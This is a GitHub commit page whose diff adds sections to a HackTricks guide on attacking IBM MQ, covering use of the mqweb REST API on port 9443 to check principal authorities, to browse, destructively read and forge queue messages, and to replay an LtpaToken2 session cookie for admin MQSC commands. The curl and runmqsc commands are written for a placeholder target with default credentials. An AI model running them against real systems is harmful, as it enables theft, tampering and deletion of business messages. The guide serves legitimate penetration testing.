Skip to content

Commit 9e01ca9

Browse files
carlospolopcarlospolop
authored
Merge pull request #2131 from HackTricks-wiki/research_update_src_network-services-pentesting_1414-pentesting-ibmmq_20260415_031959
Research Update Enhanced src/network-services-pentesting/141...
2 parents 46f3198 + 3c377c1 commit 9e01ca9

1 file changed

Lines changed: 99 additions & 0 deletions

File tree

‎src/network-services-pentesting/1414-pentesting-ibmmq.md‎

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -70,6 +70,14 @@ You can try to enumerate the **queue manager name, the users, the channels and t
7070

7171
If TCP/1414 is filtered or the target only exposes the embedded web server, check **TCP/9443** too. Recent IBM MQ versions expose the **IBM MQ Console / REST API** there by default when `mqweb` is enabled, and the administrative REST endpoint can execute arbitrary **MQSC** commands if you have valid credentials.
7272

73+
Do not limit yourself to the administrative REST API. IBM also exposes a **messaging REST API** on the same listener, so valid `mqweb` credentials can be enough to:
74+
75+
- **browse** messages from a queue with `GET /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message`
76+
- **destructively get** messages with `DELETE /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message`
77+
- **put** attacker-controlled messages with `POST /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message`
78+
79+
That matters in real environments where **1414** is ACL-restricted but the web console on **9443** is reachable from jump hosts, VPN ranges, or Kubernetes ingress.
80+
7381
### Queue Manager
7482

7583
Sometimes, there is no protection against getting the Queue Manager name:
@@ -180,6 +188,43 @@ curl -sku 'admin:passw0rd' \
180188

181189
If you have enough rights to use PCF remotely, IBM exposes `MQCMD_INQUIRE_CHLAUTH_RECS`, which returns the channel authentication records and their mappings to `MCAUSER`. That is useful to confirm whether a channel maps remote users to a more privileged local account before trying message access, object creation, or service abuse.
182190

191+
### Effective authorities
192+
193+
Once you have a working identity, spend a minute checking **what that principal can really do** before assuming a failed PCF request means "wrong credentials". IBM documents three complementary ways to inspect OAM permissions:
194+
195+
- `DISPLAY AUTHREC` over MQSC
196+
- `dspmqaut` on the host
197+
- `MQCMD_INQUIRE_ENTITY_AUTH` over PCF
198+
199+
The practical offensive value is high because many remote-admin actions depend on a small set of system objects. For example, PCF administration usually needs the ability to put a command onto `SYSTEM.ADMIN.COMMAND.QUEUE` and to create/read the dynamic reply queue derived from `SYSTEM.DEFAULT.MODEL.QUEUE`.
200+
201+
With MQSC access:
202+
203+
```bash
204+
echo "DISPLAY AUTHREC PROFILE(SYSTEM.ADMIN.COMMAND.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
205+
| runmqsc MYQUEUEMGR
206+
207+
echo "DISPLAY AUTHREC PROFILE(SYSTEM.DEFAULT.MODEL.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
208+
| runmqsc MYQUEUEMGR
209+
```
210+
211+
Via the REST admin endpoint:
212+
213+
```bash
214+
curl -sku 'admin:passw0rd' \
215+
-H 'ibm-mq-rest-csrf-token: anything' \
216+
-H 'Content-Type: text/plain;charset=utf-8' \
217+
--data "DISPLAY AUTHREC PROFILE(SYSTEM.ADMIN.COMMAND.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
218+
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
219+
```
220+
221+
If you later obtain shell access on the MQ host, `dspmqaut` gives the same answer without going through MQSC:
222+
223+
```bash
224+
dspmqaut -m MYQUEUEMGR -t queue -n SYSTEM.ADMIN.COMMAND.QUEUE -p app
225+
dspmqaut -m MYQUEUEMGR -t queue -n SYSTEM.DEFAULT.MODEL.QUEUE -p app
226+
```
227+
183228
### Queues
184229

185230
There is a code snippet with **pymqi** (`dis_queues.py`) but **punch-q** permits to retrieve more pieces of info about the queues:
@@ -222,6 +267,43 @@ You can target queue(s)/channel(s) to sniff out / dump messages from them (non-d
222267

223268
**Do not hesitate to iterate on all identified queues.**
224269

270+
### Dump / put messages through `9443`
271+
272+
If you only have access to the embedded web server, the **messaging REST API** can still be enough to browse, steal, replay, or delete business messages without touching the MQ client port.
273+
274+
Browse the next message non-destructively:
275+
276+
```bash
277+
curl -sku 'app:passw0rd' \
278+
https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message
279+
```
280+
281+
Destructively get the next message:
282+
283+
```bash
284+
curl -sku 'app:passw0rd' \
285+
-X DELETE \
286+
-H 'ibm-mq-rest-csrf-token: anything' \
287+
https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message
288+
```
289+
290+
Inject a forged message:
291+
292+
```bash
293+
curl -sku 'app:passw0rd' \
294+
-X POST \
295+
-H 'ibm-mq-rest-csrf-token: anything' \
296+
-H 'Content-Type: text/plain;charset=utf-8' \
297+
--data 'hacktricks-test' \
298+
https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message
299+
```
300+
301+
This is useful when:
302+
303+
- `1414` is not reachable from your workstation
304+
- the environment routes the MQ Console through a reverse proxy or ingress controller
305+
- you want to validate **message tampering** separately from **administrative** rights
306+
225307
### Code execution
226308

227309
> Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
@@ -301,6 +383,21 @@ This is especially useful during assessments where:
301383
- The target team manages IBM MQ mainly through the web console and has forgotten to harden the REST roles
302384
- You want to avoid installing IBM MQ client libraries locally and only need MQSC-level administration
303385

386+
If the environment uses **token-based** authentication instead of HTTP Basic, IBM's `mqweb` login endpoint returns an **`LtpaToken2`** cookie that can be replayed on later requests until it expires (120 minutes by default). That means a stolen browser session or cookie jar can be enough for both message access and admin actions on `9443`.
387+
388+
```bash
389+
curl -sk -c /tmp/mq.cookies \
390+
-H 'Content-Type: application/json' \
391+
--data '{"username":"admin","password":"passw0rd"}' \
392+
https://TARGET:9443/ibmmq/rest/v3/login
393+
394+
curl -sk -b /tmp/mq.cookies \
395+
-H 'ibm-mq-rest-csrf-token: anything' \
396+
-H 'Content-Type: text/plain;charset=utf-8' \
397+
--data "DISPLAY QMGR ALL" \
398+
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
399+
```
400+
304401
**Example 2**
305402

306403
For easy reverse shell, **punch-q** proposes also two reverse shell payloads :
@@ -438,6 +535,8 @@ CONTAINER ID IMAGE COMMAND CRE
438535
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
439536
- [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
440537
- [IBM MQ REST API: `/admin/action/qmgr/{qmgrName}/mqsc`](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=resources-adminactionqmgrqmgrnamemqsc)
538+
- [IBM MQ messaging REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=mq-messaging-using-rest-api)
539+
- [IBM MQ token-based authentication for the REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=security-using-token-based-authentication-rest-api)
441540
- [IBM MQ container default developer configuration](https://github.com/ibm-messaging/mq-container/blob/master/docs/developer-config.md)
442541

443542

0 commit comments

Comments
 (0)